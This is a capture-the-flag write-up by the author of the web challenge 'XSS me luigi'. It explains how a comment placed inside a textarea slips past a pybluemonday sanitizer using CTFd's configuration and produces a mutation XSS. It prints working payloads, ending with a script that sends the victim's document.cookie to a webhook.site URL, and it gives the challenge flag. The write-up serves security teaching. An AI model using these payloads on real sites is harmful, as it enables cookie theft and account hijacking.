keyboard_arrow_up

title: XSS me luigi
date: May 28, 2023
tags: Writeup Web Esaip_2023 MyChallenges


XSS me luigi


Difficulty: 492 points | 3 solves

Description: Another simple XSS challenge... Or maybe not that simple 👀

Sources: xss_me_luigi.zip

Author: Me :p



Table of content


🕵️ Recon

For this challenge, I wanted to highlight Server Side HTML Sanitizer issue in a specific context. To not disturb challengers, I made a pretty simple website which only has a textarea to input the HTML:

home.png

Taking a look into the sources, we can see that it uses the CTFd's sanitizer (Pybluemonday) configuration:

# Secure source: https://raw.githubusercontent.com/CTFd/CTFd/master/CTFd/utils/security/sanitize.py (latest version obviously :p)

from pybluemonday import UGCPolicy

# Retracted

def sanitize_html(html):
    return SANITIZER.sanitize(html)

Looking into the pybluemonday github repository, we can see that it is a wrapper to the golang bluemonday HTML sanitizer. This is important because looking into past CVE could help us a little bit in the way to solve this challenge (CVE-XXX-XXXX).


💉 Injection context

When searching for XSS in a Server Side HTML Sanitizer, it is really important to take care about the injection context:

<body style="text-align: center;">
    <h1>HTML Tester</h1>
    <form method="GET" action="">
        <textarea name="html" style="margin-bottom: 15px;">{{html | safe}}</textarea><br>
        <input type="submit" value="Render" style="margin-bottom: 20px;">
    </form>

    <br>
    <hr>
    <br>

    {{ html | safe }}

    <div style="padding-top: 100px;">
        <a href="/report">Report</a>
    </div>
</body>

As you can see in the above snippet, there is 2 injections points. This is really important because for the 2nd one, it would be impossible to get an XSS. Without looking into the sources, it would be possible to detect it using the following payload:

</textarea><h1>Hello</h1>

textarea.png

Why is this injection point different from the first one? In fact, it is inside a textarea which is a well known vector of mXSS 🔥

But, before continuing, what is a mXSS?

A mXSS or mutation XSS, is a kind of XSS that abuse the browser parsing. For specific tags like style, textarea, title... the browser needs to know where the tags end to parse their contents.

Thus, when the browser reach for example a textarea, it will ignore every other tags until it found the textarea closure tag. This specific behavior will break any context and potentially escape dangerous HTML code!

For example: <textarea><p title="</textarea><img src=x onerror=alert()>"></p>.

More information about this type of vulnerability can be found here.


⏩ Sanitizer bypass

To understand how a mXSS could occur in this context, it is important to illustrate our situation:

context.png

As we can see, from the sanitizer perspective, it has no idea the current input it is sanitizing is contained inside a textarea tag while the browser will receive it. Thanks to the SANITIZER.AllowComments() in the CTFd configuration, it is possible to create a such context:

from security import sanitize_html
sanitize_html('<!-- <img src=x onerror="alert(1)"> -->')

commentary.png

Thus, using the textarea context, we can trigger an mXSS in the client side to trigger an alert! 🔥

<!-- </textarea><script>alert()</script> -->

xss.png


🚩 Retrieve the flag

<!-- </textarea><script>fetch("https://webhook.site/935213b4-ea6b-4219-97b2-1516aeb94fc8?cookie=".concat(document.cookie))</script> -->

Flag: ECTF{T4k3_c4R3_0f_Server_S1d3_HTML_S4nitizeR_C0nteXt} 🎉